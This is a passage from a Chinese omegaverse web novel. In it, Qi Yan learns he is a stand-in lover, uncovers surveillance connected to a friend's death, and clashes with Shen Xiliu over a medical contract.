抓着手臂的手指不自觉松开,沈溪流退后一步,拉开和祁厌的距离。 原本想要伸手拍一拍被扯住的地方,但瞥了一眼,他就嫌弃地把西装外套脱下,准备丢掉。 “听懂了,以后就别再缠着我,做好你该做的事情便够了,我现在没工夫和你玩这些把戏。”沈溪流冷冷甩下这句话,没看他一眼,就往前两步拐弯离开。 “哎哟!差点撞到了,表哥,你怎么这么突然地走过来!”少年清亮的声音传了过来。 沈溪流的声音倏然变得阴冷:“你偷听我说话?” “哎呀!才不是,是你自己在大庭广众之下开口,我只是无辜的路人而已,还帮你看了周围,没让其他人接近,免得闹笑话呢。”少年嘻嘻哈哈地说着,“表哥,既然你这么不爽,当初为什么要选他啊?名单上的人选有好几个吧?不会是因为和易扬长得相似吧?” 声音在远去,但祁厌依然听见了,他下意识往前走两步,侧头盯着并肩而行的两人,少年嘀咕着说:“这么多年,我也就见到你对他最特殊……难道是……替身……不过眼睛不像……” 沈溪流把西装外套丢给了少年,眸光注意到身后的身影,冷笑一声:“是又怎么样……抬举他了……” “嘿诶……好过分,居然把人当作替身、玩物……你什么时候也染上陋习……”远去的少年笑嘻嘻地说着。 他们的身影很快消失在眼前,祁厌很冷静,所有对话飞快在脑海里流过,关键字被抽取出来,以及蓦地想起那天晚上的一切—— 沈溪流说:“你的眼睛看着闹心。” 还有那句,“你的脸,很不错!” 一切都好像有迹可循。 除去平时的一些发现,那天晚上的沈溪流允许他放肆的前提是捂住眼睛,原本只以为是害羞,现在想来应该是他的眼睛和易扬完全不像,而沈溪流只喜欢他这张和易扬长得相似的脸…… 喜欢的人已经和妹妹结婚,所以沈溪流只能退步,但在挑选给自己治病的人时,还是选了和易扬相似的人作为替代物吗? 那么做的时候,他是在透着他想着谁呢? 这根本不用猜想吧。 大脑在疯狂转动着,但本能已经驱使祁厌冲进洗手间,一股强烈的恶心感疯狂袭击着他,胃部在翻江倒海地剧烈抽搐着,导致他狼狈不堪地撑在洗手台呕吐不停。 胃里的酒液和酸水都被吐出,体力在不断被抽取,祁厌的手指死死按压着冰冷的边缘,苍白的手背暴起青筋。 每一次呕吐都仿佛要将五脏六腑吐出来,头疼得要死,胃部在疯狂抽搐,模糊的视线染上血红色,洗手池染红了。鼻腔也被血腥味弥漫,连呼吸都变得困难。祁厌浑身的力气都被抽干,感觉这一刻的自己简直狼狈到了极点。 那晚的点点滴滴和刚才的对话不断在脑海里交错出现,声音反复响起,给祁厌带来无比巨大的冲击力和恶心感。 他怎么忘了,他怎么又忘了,真是自以为是,蠢到极点,居然痴心妄想沈溪流会喜欢他? 太愚蠢了,真的太愚蠢了! 侮辱人的办法很多,但对祁厌而言,没有比这更屈辱的。 真是够了,为什么还会发生这种糟糕的事情啊? 成为替身也就罢了,居然还是易扬的吗? 好恶心! 他兜兜转转这么多年,依然逃不过易家的戏弄,好像无论是人生还是自我,包括尊严都被死死踩在脚下,永远不得翻身。 第69章 前世+现世 只要不是原则上的问题 “今天怎么回这么早?”祁厌刚开门进屋, 正在客厅整理衣服的夏云惬就看了过去,有些诧异,弯着眼眸笑道, “正常这个时间,你不该和溪流在外面吗?” “他有事情。”耳边回荡着八音盒的乐声, 祁厌看了一眼八音盒, 若无其事地把书包放下,去冰箱里取了瓶冰水喝,没在家里看到两位老人, 便问道,“妈,外公外婆呢?” “去拜访朋友了。”夏云惬起身把衣服放好, 关掉八音盒的声音, 眼神有些复杂地抚摸着上面的花纹。 祁厌看了一眼,不知道该说什么,完全没想到他们找了这么久的东西,居然真的藏在沈溪流无意送过来的八音盒里面。先前为了预防万一,他们已经检查过八音盒,并没有发现被藏着的记忆卡, 因为藏得很深, 里面的精密度细致, 记忆卡被精巧的零件遮掩, 难以发现。 如果不是夏云惬太熟悉八音盒的声音, 发现不对劲,估计根本找不到记忆卡。去世的夏外公大概是担心被易鸿立发现,所以才藏得这么深。 现在易鸿立已经入狱,可接下来还没有结束, 夏云惬最近的精神状态比以往变得糟糕不少,但有着家人的陪伴,不仅没有陷入崩溃状态,还期待着易鸿立和宋意礼的下场。如今的罪行叠加,足够易鸿立被判死刑,而作为帮凶的宋意礼,判刑也不会太轻…… “小衍,你心情不好吗?”夏云惬轻声问道,她很敏锐地察觉到祁厌的心情糟糕。 “还行,今天看到易鸿立的新闻满天飞,想起以前的一些事情,有点让人厌烦。”祁厌没有说出真实原因。 对跟踪监视这种事情有心理阴影的不只他一个,夏云惬也相当反感。 “对了,妈,那个何笙医生还是没有回来吗?”祁厌不想和夏云惬聊这些事情,便转移话题,提起那个有点在意的医生。 夏云惬盯着他看了半晌,缓慢点头:“嗯,听说本来要回来了,结果半路又接到一个邀约,所以出国去了。” “看来想要拜访他,还真是不容易。”祁厌笑笑,和夏云惬随意地聊了几句。 夏云惬摩挲着八音盒的花纹,目光落在喝水的祁厌身上,有些欲言又止。 “反正暂时不着急,要等易鸿立的事情结束,估计还需要一阵子,到时候我再陪你一起去拜访。对了,妈,我待会儿还有事情,今晚可能不回来了……” 祁厌扭动瓶盖,把水瓶搁在一边,还想再说几句时,恰好外公外婆拎着大包小包回来,听到声音的他赶忙上前帮忙提。 外婆一进屋,就捶着肩膀,爽朗地笑了起来,说道:“这么多年不见,你外公的赵兄弟都有曾孙子了,四世同堂,真是让人羡慕了,不知道我什么时候才能抱到曾孙呢。” “哼,你最大的孙子都还在读书呢。”外公冷哼一声,瞅着帮忙的祁厌,自认没有赵家的好运,说,“别想太早了!” “你赶紧闭嘴吧,怎么就早了?大学生也有的是结婚的人,对吧,小厌?”外婆推了外公一把,笑眯眯地看向祁厌问道,透出一股子热情和期待。 祁厌:“呃……是有,但很少,我们学校也就……” “有那就行了!”外婆打断他的话,“就稍微让外婆想象一下吧。真没想到,那些年我们抱过的孩子现在都成爷爷了。” 她说着,还翻出手机调出照片,示意他们过来看看:“我今天过去拍了好多照片,幺儿过来看看,你小时候也去过他家,要不是你今天身体不适,妈还想要带你认识认识你小时候的玩伴,改天再带你和小厌上门认识一下。” “当年差点给你们定下娃娃亲,可惜你爸嫌他兄弟住得太远,舍不得,所以就拒绝了,真没想到,那小子现在不仅比你哥这个副局长厉害,还比他更早一步有孙子……” 言语间尽透着艳羡之意,祁厌没敢上前,有种过年回家被熟人催婚的感觉。 他已经有点头皮发麻了,想要离开都不好走,外公眯眼盯着他,放低声音:“听见了吧?你外婆现在已经开始期待抱曾孙子了,有没有什么想法?” 祁厌:“……没有。” 他现在还在疑心沈溪流为什么派人监视他,就算要有这方面的问题,也得把两人之间的问题全部解决了。 “行吧,只要你不是随便和人家玩玩就行。”古板的老人严肃说道。 “我能是这种人?”祁厌觉得外公小瞧他了,怎么可能随便玩玩?他还是喜欢沈溪流的,虽然现在有点烦躁,但是并没有分手的打算,有误会就尽快解决,才能走下去。 “不说了,外公,我先出去一趟,今晚大概不回来了,你们继续陪夏女士吧。”祁厌离开家门,给沈溪流发信息,问他什么时候回来。 在对待喜欢的人这方面,祁厌很有耐心,是误会,那就给机会说清楚,解开误会。 虽然很讨厌别人跟踪监视自己,但是只要不是原则上的问题,他都能接受。 …… ………… 【“爸,现在应该没问题了吧?”医院里,易扬正压抑着怒火,“我可以找祁厌报仇了吧?溪流哥根本没把他放在眼里!” 怨恨不会随着时间消失,只会变得越来越深。 易鸿立靠在病床上,语气温和:“听起来的确是没放在眼里,不过,你也别太嚣张,沈溪流这人,如果没把祁厌放在眼里,只会彻底无视他……”而不是当场讽刺对方,这个表现多少有点在意,但又算不上太多。 易扬抓不住重点,沈溪流的出身决定了他的性格冷漠又傲慢,祁厌在他面前都不值得一提,但如果他愿意正视对方,那麻烦才是真大了。 “你想做什么,就随便你吧。”易鸿立眯着眼,思忖半晌后,微笑同意道,“毕竟我会进医院,你妈会死,都和祁厌有着脱不开的关系,你想要冲动报复,都是正常的……” 他意味深长地说着,看着易扬激动起来,慢慢翻着手里的资料。 祁厌,他的长子易衍之太具有包容性,只要不是涉及原则问题,总是能轻而易举地原谅别人。 这样下去可不行,万一真让他攀上沈溪流的关系,就容易出现难以解决的麻烦。所以他得帮个忙,让祁厌知道更多事情才行。 还有沈溪流这边,这人才是最恐怖的。 别看沈家沈溪流鲜少在外走动,不喜欢社交,但他每次出手必然狠厉强势,作为对手的话,相当可怕,好在他们不会是敌人…… 等易扬离开后,易鸿立打电话给秘书,先是询问沈湘婷最近怎么样,随后又嘱咐了一些事情,才挂断电话。 …… 黑暗中,祁厌抽身离开,将用过的套丢入垃圾桶里,平静地拿过桌上的仪器看了一眼:“可以了,你体内的信息素已经恢复正常。” 纯粹的治疗过程,通过仪器显示的数据观察情况,一旦稳定就可以结束。但就目前的情况可不是很妙,一晚上做了这么多次,沈溪流体内的信息素才恢复正常水平。 这真是能折腾人,一个姿势这么久,祁厌浑身都有些僵硬了。 “……拿过来。” 躺在床上的人缓了好半晌,才撑着坐起,不小心拉扯到大腿肌肉,沈溪流没忍住轻轻发出一声“嘶”,他接过祁厌丢过来的仪器,看着上面的数据,的确恢复正常了。 “既然任务完成了,那我就先走了,沈先生,晚安。”祁厌打了个哈欠,东西丢给沈溪流后,轻缓的脚步声往外走。 屋内漆黑但于他无碍,房门被打开,又被轻轻关上,“咔嚓”一声响起。 自从宴会回来以后,祁厌的态度仍旧任何变化,依然每天笑眯眯的,即使见到沈溪流,也没有任何尴尬,该做什么就做什么,毫无芥蒂。 “……” 说不出的烦躁。 沈溪流深深呼吸,下一秒又觉得有些恶心感,信息素清除剂弥漫在室内空间里,后颈感觉到微微刺痛。 一股冰凉的液体注入腺体里,是沈溪流让沈清泽添加的特殊抑制剂,原本出现浮动的焦躁情绪一瞬间被压制下去,恢复了冷静。 这样的相处正好,互不相干,才是最轻松的。 次日,祁厌是被手机铃声吵醒的,原本还昏昏睡睡的,一听到张衡一说有新的消息,他就立马清醒过来。 “你已经打开看了?不是,张衡一,不用我提醒你小心一点吧?不怕一万,就怕万一,行吧,投毒确实犯法,你是律师,你说的算……” 祁厌快速穿衣洗漱,推门而出的时候,在客厅和沈溪流碰了个正着。 “早上好。”他瞥了对方一眼,随口打个招呼,继续匆忙往外走,和电话另一端的人说,“……你废话好多,我就是和客人打个招呼而已,等着,我马上就过来。” “砰。”来不及控制力道,祁厌随手关门就离开。 一声巨响之后,室内一片死寂,没有任何声音。 祁厌急急忙忙赶到一栋偏僻的居民楼,张衡一提着塑料袋,已经站在楼下等待,他的神色比以往更加凝重。 见到祁厌,张衡一张了张嘴,好像想要对祁厌说什么,最后推了推眼镜,只道:“预防万一,我把东西拿给老王了,你跟我过来吧。” “你这表情未免太沉重了。”祁厌心生不妙,跟着张衡一进入楼里,老旧偏僻的居民楼连电梯都没有,只能靠脚爬上五楼。 房门没锁,推门进入时,屋里布局乱七八糟,各种杂物全部堆积在一起,背对着他们的人听见声音,转动椅子回头:“哟,你们终于来了,没忘记给我带啤酒和泡面吧?” 头发乱七八糟、胡子拉碴的大叔打着哈欠,一脸困倦地说:“饿死了,这玩意儿破解起来真不简单,先来点啤酒和烟,醒醒神吧。” “你要的,我都给你带过来了。”张衡一推了推眼镜,走过去将塑料袋递给他,“这次麻烦你了,老王。” 祁厌跟着他身后进屋,一人西装革履,一人时尚潮流,站在这间乱七八糟的房子里,显得相当格格不入。 能够破解顾燕行留下信息的人不多,能让他们信任的人更加稀少,面前的算一个。 “知道麻烦就好。”老王打开啤酒,喝了一口,“要不是看在老徐的面子上,就算钱准备到位了,我都懒得帮你们。” “这次的事情不简单,我先提醒一句,你们最好做下心理准备。”老王抬眼盯着祁厌,乱糟糟的头发下,眼神蕴含深意,“尤其是你,祁厌。” 】 第70章 前世 他的罪孽 “虽然他不想让你知道, 但是就目前来看……”任是他这种局外人,此刻都有些难以开口,“顾燕行的死可能和你有关系。” “!” 听到这话, 祁厌脸上浮现惊骇的神情,心脏蓦地被攥住, 他强行镇定道:“你继续说。” 顾燕行的死, 居然……会和他有关吗? 顾燕行一向谨慎,善于伪装,毕竟对上易鸿立那种心狠手辣的人, 但凡不小心都会牵累到身边人。 他的行踪一直藏得很好,但死前和祁厌打电话时,已经透露过自己被易鸿立发现了, 所以就此断掉与祁厌的联系。 但那只是开始, 易鸿立为了逼他拿出已经调查到的资料,无奇不用。祁厌和张衡一之前已经调查到一部分真相,在车祸前半个月,顾燕行曾经因打架斗殴进局子,出来后,又满身鲜血地倒在小巷里, 被路人送进医院…… “做他这一行的人, 行踪暴露是很致命的。”老王抽着烟说, 游走灰色地带的人太危险, “想让他死的人数不胜数, 易鸿立只要稍微动下手脚,根本不用自己出手,就能让他消失。” 老王让他们自己看电脑上破解出来的信息,根据顾燕行留下的线索分析, 又结合今早张衡一收到的东西,他问:“祁厌,你是不是还在被易鸿立监视着?” 他没有把话都说出来,能和顾燕行留有联系的人,只有三个。另外两个是与此事毫无关系的警察,而且是其他地区的官方人员,易鸿立根本找不到,所以只剩下祁厌一人。 祁厌反复地回想着过去的每一寸记忆:“不。自从我十八岁以后,就已经脱离他的监视,我一般都在酒吧里,你知道的,徐哥的酒吧有不少是他的朋友,非常擅长反侦察,如果有人在监视我,那早就该被发现了。” 他的手指不禁颤抖,取出一根香烟,试图用尼古丁让自己冷静下来,但进入眼底的大量信息让祁厌愈发怀疑自己,担心是自己的不谨慎害死顾燕行,浮现的念头在折磨着他,愧疚与自责如影随形…… 张衡一也道:“就算有人监视,也不可能发现顾燕行吧?他这人最擅长伪装,每次和祁厌见面都对自己进行了伪装……” “嗒嗒。”老王轻敲键盘两下,一张照片出现在电脑屏幕上,拍摄视角有些古怪,是从缝隙里偷拍,照片里的顾燕行站在洗手间里,正在与没有拍到的人争执,他的下半身穿着黑色的西装裤,上半身穿着一件保洁员的上衣…… 看到这张照片的祁厌猛地俯身死死紧盯着这张照片,尽管平时的他足够冷静,此刻也如坠冰窟,整个人僵硬在原地,久久回不过神来! 他一眼就认出来了,这是在易扬的婚礼上! 镜头没有偷拍到的另一侧,与顾燕行争执不休的人——是他。 所以是那时候,顾燕行就暴露在易鸿立的面前了吗? “喂?抓到了是吗?好的,你把他抓到四楼吧,414房间也是我的地盘,我现在就带他们两个下来。” 老王挂掉电话,看向僵在原地不动的人,缓慢开口:“老徐抓到监视你的人了,要去看看吗?” 多少有那么一点吧,不敢面对事实了,仿佛再往前走一步,就是地狱。 …… “我也只是拿钱办事啊!我什么都没做,也没泄露隐私!” “啊啊,你们别动粗!这是犯法的!我说,我说!我确实跟踪你快半年了,但是真的没做什么,只是偶尔拍一张照片而已。” “你不是和我的雇主有关系吗?他没别的要求,他根本不在意你做什么,去哪里,他给我一张纸,只要目标人物,也就是你没有违背纸上的规定,别的就不在意。” “这张照片?啊,是我拍的,但我也没什么坏心思啊!只是想着随便拍一下和目标人物可能有暧昧关系的人,避免后面雇主想要,毕竟有些雇主强迫症严重,我担心他会改变主意。” “不过这张照片怎么会到你们手上?我记得那天的婚礼闹得有些乱,又找不到捣乱的人,雇主还特意派人来找我,询问有没有拍到不对劲的人,我想着能多赚一笔钱,所以就把这张照片和别的照片都给出去了……” “啊啊啊,不是说不打了吗?!!” 跟踪监视的人是个老手,不仅技巧高超,还擅长变装,加上对祁厌的监视相当随意,秉承着祁厌不违背白纸上的规定就够了。于是也就偶尔拍一张照片收集起来,根本不在意祁厌做什么,这种监视方式,当然很难引起其他人的注意…… 听完这些话,祁厌难免心情沉重,就连手脚也变得冰凉。他盯着纸上的每一条规定,每一个字,都熟悉到不得了,早已熟背于心,曾经并未在意太多,只是平淡地照做。 但此刻,祁厌的感觉彻底变了,他的视线渐渐变得模糊起来,只觉得天旋地转,沉重的负罪感彻底落在他的身上,几乎要将人压垮,铺天盖地的恐惧与悔恨将祁厌给淹没溺毙。 每一个字都好像化作实质,化作利刃直直穿透心脏,又像一条条锁链缠绕,将他死死勒住,迫使他窒息身亡。 ——“要是出意外,那就亏大了。” 张衡一曾经的警告在脑海里盘旋着,当时他是怎么回答来着? 祁厌不断用力拍着自己的头,恍然地想起,他没说话,只在心里想着:“无论出什么意外,我都能自己负责……” 负责吗? 祁厌双眼空洞地看着手里的资料,脑海里交错闪现着与顾燕行、沈溪流的相处画面,他根本无法负责吧,因为代价是顾燕行的命,他凭什么负责呢? 天下果然没有白吃的午餐,那两千万,不,应该再加上最初的那一千万,总共三千万都是顾燕行的买命钱。 沈溪流从最初就不信任他,所以才安排人监视祁厌的一举一动,以防在他看不见的地方,祁厌违反合同规定。 或许,从签订下合同那一刻,注定泄露行踪的他就半只脚踏入残酷的地狱了。 顾燕行把自己藏得很好,如果不是他的出现,一并泄漏了顾燕行的行踪,致使顾燕行的下落被易鸿立掌握,他肯定……不会遭遇到这么多痛苦,也不会走上这条不归路…… 所以,顾燕行是被他害死的,错的人其实一直都是他。 “这件事……”祁厌踉跄两步,身体轻轻晃动,没等其他人来扶,他抹掉滴落的猩红血液,艰难开口,“我没事。这件事,先别让江与青知道。” 每一个字都极其压抑,深沉的罪孽感如同汹涌洪流,将他席卷进入悔恨与绝望的痛苦深渊,不可能不痛苦,不可能不自责。 “等找到机会,我会亲口告诉他。” 顾燕行是因他而死,这件事情不可以瞒着江与青。但起码现在不能说,不能刺激孕期的omega,不能让他再次受到伤害了…… 祁厌不断深呼吸,试图冷静起来,他不敢再说话,喉咙被堵住,干涩刺痛,连声音都发不出来,仿佛被一只无形的手掐住。心理上的痛苦,甚至盖住后颈腺体的刺痛,alpha信息素开始肆意泄漏,充满攻击性。 在干扰到其他人之前,反应过来的祁厌急忙起身冲进卫生间,冰冷的水泼在脸上,冲散猩红的血液,肩膀剧烈颤抖,眼泪模糊视线,融入水里…… 他花了很长的时间才调理好自己的情绪,等张衡一买来alpha信息素抑制剂,才好不容易压制住身心带来的痛苦。 “那人没有告诉你,会找人监视吧?”张衡一沉默良久,才开口。 祁厌没有说话,如果沈溪流一开始说会派人监视他,那这份合同他绝对不会签订。 “先送我去银行一趟吧,谢谢。” “你想做什么?” “……” 祁厌望着车窗外的景象,想做什么?他什么都做不了。 只能将该做的都做了。 他的人生真是过得越来越荒唐了,有时候真是恨不得现在就死掉。或许开车去撞易鸿立和宋意礼的人,不该是顾燕行,而应该是他。 啊,头真是疼得要死,折腾这么多,这么久,只把局面变得乱七八糟,还害死了朋友,他真是够祸害的…… 将所有钱都转入记忆里顾燕行偷偷给江与青办理的那张卡,回到熟悉的酒吧,祁厌才从中得到喘息的机会。 朋友都看出祁厌的精神状态不太好,没有询问他怎么了,只是陪着他喝了好几瓶酒。 “祁哥,听说下个月隔壁省有一场很大的调酒师比赛,你要去参加是吗?”有人问道。 “嗯,就当是去放松一下。” 到时候合同就彻底结束了,可以离沈溪流远一些。 叶澄澄拜托他指点,祁厌也一如既往地笑着教他怎么调,表面看起来与往日没有区别,但等他上手示范的时候。 很难得,祁厌第一次出现了失误。 玻璃杯从他指尖滑落,“啪”的一声清脆响,透明杯子迸裂,尖锐的玻璃碎片四散飞溅而开。 随之而来的是酒吧的玻璃门被推开,易扬来了,真是非常不吉利的征兆。 一天之内发生这么多事情。 易扬总是那般愚蠢,喜欢冲动做错事,所以他的母亲宋意礼多年来才会暗中针对祁厌,一定要让他爬不起来,连个大学都上不了,只能像个小混混到处游荡,才能安心。 毕竟,没有人比宋意礼更清楚易鸿立的本性。 如果祁厌表现得太优秀,或许那个人早晚会将祁厌带回家,到时候,易家就再也没有易扬的立足之地了。 但现在,宋意礼死了,易扬也终于找到机会向祁厌报仇了。 只是他太愚蠢,不知道酒吧人的背景,带的人不够打。 如果不是沈湘婷打电话向沈溪流求救,或许今晚会被废掉的不是祁厌,而是他吧。 要问祁厌有什么好意外的吗? 没有。 只是遗憾怎么不在沈溪流到来之前,抓紧时间,先弄残易扬算了。魔·蝎·小·说·MOXIEXS &M.o.X.i.exs& 70-80 第71章 前世 你觉得恶心,我也一样 凌晨两点多, 酒吧已经关门,热闹繁荣的景象消去,变得万籁俱静, 工作人员也离开了。 祁厌正坐在休息室里的椅子上,长腿交叠着, 随意向后靠着柜子, 左手指尖夹着一支烟,唇缝溢出一抹缭绕的烟雾,徐徐上升模糊深邃俊美的眉眼。 “手伤怎么样?”脚步声从走廊处传来, 徐哥走了过来,目光落在他垂落在身侧的右手,包扎着层层绷带。 祁厌朝他看去, 天花板的灯光从上投下, 凌乱漆黑的碎发遮挡眉眼,脸部轮廓陷入阴影之中,带着一股阴郁慵懒的感觉,与寻常时刻的他截然不同。 他盯着自己被包扎得看不见的手,原先无论是什么样的细活都能做得很好,但现在修长灵活的手指只剩下僵硬麻木的刺痛感。 别说调酒了, 就连想像过去一样玩个普通的小魔术逗客人开心, 估计都不行。 “神经损伤, 肌腱断裂, 抢救得挺及时, 没彻底废掉,顶多以后做不了太精细的活。”他深吸一口烟,缓缓吐出烟雾,保持着冷静。 对于一名专业的调酒师来说, 和废掉了没有两样,但祁厌却依然表现得过分淡定,好像不久前发生的事情都是幻觉一样。 徐哥沉默好半晌:“那你以后打算怎么办?” 右手被废掉的代价太不足为道,易扬只用了十万块钱便解决这桩小事。 他好像还是憋不过气,咬牙切齿地说:“操,十万块钱,买你一只手,还真他妈的划算啊!” 沈家人不宜得罪,如果继续闹大的话,估计酒吧还能不能开都是问题。仔细思考之后,祁厌终究是选择妥协了,没把事情闹大,私下解决。 祁厌垂着头,看不清楚表情:“总归人没死。”比顾燕行好太多了,不让易家付出应有的代价,他就不能死。 徐哥紧皱眉头:“那你明天……还要过去吗?” “……当然得过去。”祁厌平静地说,“做人要有契约精神嘛,这是一桩好生意,不能因为和客人产生芥蒂,就什么都不做。” 动手的人是易扬,沈溪流只是来制止,他的人并未打伤他们。考虑到沈溪流终究是帮了他很多忙,如果不是沈溪流,他当初未必能够赶得上见夏云惬最后一面,做人要学会感恩。 而且他们之间签订了合同,那就不管双方闹得有多大,多难看,都得继续执行,直到契约彻底结束。 “那之后呢?”徐哥盯着他的右手,“以后打算怎么办?” 祁厌想了想,把烟掐灭,扔进垃圾桶里,对着他笑了起来:“到时候再说吧,走一步看一步,反正我也是这样长大的,大不了以后出卖一下色相,徐哥觉得怎么样?” 到那时候契约已经结束,他做什么事情都可以,对方没有资格、没有立场来干扰。 “……你这小子真是的。”徐哥笑了起来,走过去拍拍他的肩膀,“别学浪浪,整天开玩笑说要下海,结果一有富O来问价,就跑得比鬼还快。” “我可没学她。”祁厌笑笑,眼底一片晦暗,“她现在好多了吧?” “放心,在医院里能吃能喝,也就这家伙傻兮兮的,打个架而已,急什么急,非要从二楼跑下来。还一不小心摔倒,把自己送进医院,得亏她反应快,坑了对面一把,把自己的医药费给赚回来了。” 徐哥盯着他说:“所以你不用放在心上,她是自己滚下来的,比起这伤,她,还有其他人,他们都更在意你什么时候把命中注定的人勾搭到手……怎么了?” 话未说完,徐哥发现他的神情怔愣住了。 “……嘶,那可能有点难。”祁厌给徐哥递了一根烟,自己也抽起来,借着尼古丁缓解紧绷的神经,他慢慢笑起来,“之前都是我骗他们的。” “没有什么命中注定的人,都是开玩笑的。” “我没有喜欢的人。” “他们不会都被我骗到了吧?” …… PHY科学研究所里,沈清泽接过沈溪流递过来的信息素抑制颈环,看着他蹙着眉头按压太阳穴:“很久没看见你犯病了,待会儿做个更深一步的检查吧。按理说现在的假性标记已经差不多完成了,不该再犯病,难道是被什么事情刺激吗?” 每次翻看本家人的病历,沈清泽无数次庆幸自己只是个旁系,还是个beta,不会遗传到本家人的疾病,也不用从小经历那么多痛苦。 “没什么事情。” 沈溪流深呼吸,努力控制自己什么都不去想,从兜里取出药物,干吞下去,大脑里的神经在尖锐抽痛。 沈清泽调试着颈环,检查里面的药剂残留,这一看,整个人震惊了:“特殊抑制剂怎么已经用完了,我不是告诉过你,这是一个月的用量吗?!” 沈溪流控制不住烦躁的心情:“它是自动感应到体内激素、信息素的变化,才进行注射用来调节身体平衡,这一点难道你不知道吗?” “如果你不修改注射的频率,怎么可能在这么短时间内注射完……” 沈清泽冷汗都快流下来了,根本不敢再多废话,只能让沈溪流先进行身体检查。 这种药物用多了,会损伤大脑,尤其是与感情相关的区域,连带着其他方面也会被影响。 如果沈溪流真的因为这个药物出事了,不管是家主还是暂时回不来的沈云殊都不会放过他,而沈清泽也承担不起这么重的责任。 难怪以前沈云殊从不给沈溪流用这种特殊药物,也没有告诉他还有这种特效药,大概是猜到他可能会随意滥用吧…… 检查出来的结果确实有些不太理想,但好在没有变得严重,只要短时间内不再使用这种药物就可以了。 “难道除了这个药物以外,就没有别的药物可以替代,抑制假性标记带来的影响吗?”沈溪流只想尽快脱离现在的状态。 真不知道怎么会闹成这种地步,他按压着因为药物而变得不那么疼痛的头脑,但依然能够感觉到钝痛,好似一把钝刀在缓慢地拉锯着脑部神经,被疼痛裹挟着的沈溪流连思考能力都变缓慢了。 心情无法控制,沈溪流一想到那天晚上发生的事情,就浑身不舒服。他原本不想掺和祁厌和易扬两人的事情,偏偏沈湘婷又打电话过来求他…… “只有这个,根本没有替代品。如果不是它的后遗症太严重,也不至于被严厉控制到这种地步。”沈清泽也有些头疼。 他已经听沈湘婷说了,谁能想到沈云殊给沈溪流选定的人和他们这边还有这么尴尬的关系。沈云殊肯定是知道,但他根本不在意,他盯上的是祁厌和沈溪流的信息素匹配度。 至于易家的人,他们和祁厌的矛盾,那算什么东西?沈云殊从未在意,他要的只是解决沈溪流的问题,以及得到想要的数据。 “算了,反正也快了。” 只是无法压制下去的焦躁一直在骚扰着他,沈溪流难以平静,他不该在意这种事情。 手机铃声响起,沈溪流低头看了一眼,是易扬的电话号码,索性直接挂断。 一旁的沈清泽注意到他的举动,觉得还蛮尴尬的,居然会闹到这种地步,也不知道沈溪流现在在想些什么。 “那边没事吧?” 沈清泽一边调整信息素抑制颈环,一边询问道。 对方会不会违约?毕竟发生这种事情。 “……” 沈溪流没有回答他的话。 以他目前对祁厌的了解,那家伙不会毁约,毕竟毁约金他付不起…… 可是烦躁的心情,让他不想再次见到祁厌。 …… “这是你派来跟踪我的人?” 不过沈溪流怎么也没料到,当晚再见面,祁厌并没有就那天晚上的事情多说,反而是拿出了一张照片,照片里的人是他派人去找的私家侦探,专门用来监视祁厌。 一如既往平静的神色,但祁厌眉眼间多了一抹冷冽,紧盯着他的目光更加冷漠。 这让沈溪流的心情变得更加烦乱,原本想要平和地说话都做不到,甚至连语气也冷了下来:“你想说什么?” 派人监视是理所当然的事情吧,毕竟谁知道祁厌会不会在他看不见的角落里,做出违反合同规定的事情,沈溪流是这样想的。 祁厌看着他理所应当的模样,觉得很可笑:“监视的事情,没有写在合同里面吧?” 如果写了,他怎么都不会签订这份合同,被人跟踪监视什么的,太糟糕了。 “这种事情你应该猜得到……”沈溪流本来觉得这只是一件小事,但看着祁厌冷漠的眼神,目光触及那只被包扎着的右手,情绪却在一点点躁动不安起来。 没办法,最开始他对祁厌本就没有一点信任,毕竟从沈云殊强制他选择之后,便了解这人的大概背景…… 从最初就没有任何好感度。 “那还真是很抱歉,一开始的我猜不到,也没想到会被人怀疑到这种地步。” 祁厌笑了起来,他太信任自己。知道自己绝对不会违反合同规定,却没有料到沈溪流对自己的不信任。 以及他怎么这么蠢呢? 祁厌仔细回想,其实有好几次说话的时候,沈溪流就已经暗示他,有人在盯着他,他最好老实一点,别违反规定。 偏偏那时候的他像个傻子,完全没有猜到,所以现在会落到这种地步,只能说活该。 沈溪流会做出派人监视他的事情太正常了,对方凭什么信任他?他们本就不熟,私下派人监视乙方,避免对方违反合同规定,有什么好意外?有什么好愤怒? 祁厌平静下来了:“现在说这些事情确实没有用了。” 祁厌觉得自己像个神经病,为什么还要问呢?根本没必要在意这种事情。 “今晚的治疗赶紧开始吧,早点结束,对你我都好。继续维持下去,你觉得恶心,我也一样。” 第72章 前世+现世 处理家事 “不是, 他们两个有病吧?!都晚上六点多了,还在外面喝茶?是生怕晚上睡不着吗?还是想要装逼附庸风雅?” 一辆戴着眼睫毛、相当少女的奇瑞q.q开进了茶庄里面,有些暴躁的游弋将喇叭按得哔哔响, 就像他没有说出口的话一样。 游弋离家出走以后,原本是不想再搭理家里人, 但奈何今天这日子比较特殊。他磨磨蹭蹭大半天, 打了沈家主电话,没接,打回老宅, 也没人接,继续打其他人的电话,得到的反馈都是他已经被拉黑, 唯一一个接通的是身在学校、正在上课的表弟。 但表弟也不知道他爸到哪里去了, 听表弟说所有人都被他爸吩咐下去,不要搭理他。这下子掀起游弋的叛逆精神,直接去找祁厌一问,就知道这俩人正在茶庄里面。 “可能是有什么重要事情要谈吧。”祁厌坐在副驾驶,心底的情绪在遇到开着奇瑞q.q的游弋以后,就彻底消失了。 没办法, 这车太有喜感, 尤其是搭配上游弋这种穿着黑暗系朋克风, 彰显极致张扬不羁个性的车主。车里放了一路游弋自己唱的奇怪歌曲, 每一个字都相当歹毒的那种, 也不知道他是怎么想的,居然把那句话弄成歌,还在自己车里反复播放。 “他们能有什么正经事情,在家里也可以谈, 非不这样干,今天明摆着是想要躲我。”游弋撇了撇嘴,把车停在茶庄的停车位,拔出车钥匙,利索下车。 “走,我们先去蹭一顿晚饭,这家茶庄在我爸名下,饭后点心挺不错,你给我哥发个短信,我们到了。” “你为什么要拎着个喇叭下车?”祁厌的目光落在他手里的扩音喇叭。 游弋道:“关键时刻,用来挑衅我爸的道具。” “刚才那首歌好听吧?专门唱给他的,我还特意让主唱编曲。”他有些得意。 祁厌:“……” 谢谢,不懂欣赏,反正挺歹毒的。 你爸没把你打死,算你命大。 不过有游弋这样插科打诨,祁厌松口气,毕竟马上就要见到沈溪流的舅舅,明明未来还处于未知数,但他已经有一种即将见家长的紧张感。 沈溪流的舅舅……长什么样子呢? 脑海里一闪而过一道模糊又陌生的身影,是他在梦里见过那么一两次的陌生人,但不可能吧? 祁厌心脏的跳动速度加快,想到游弋瞎编唱的那首歌,稍稍有些不安,或许只是巧合。 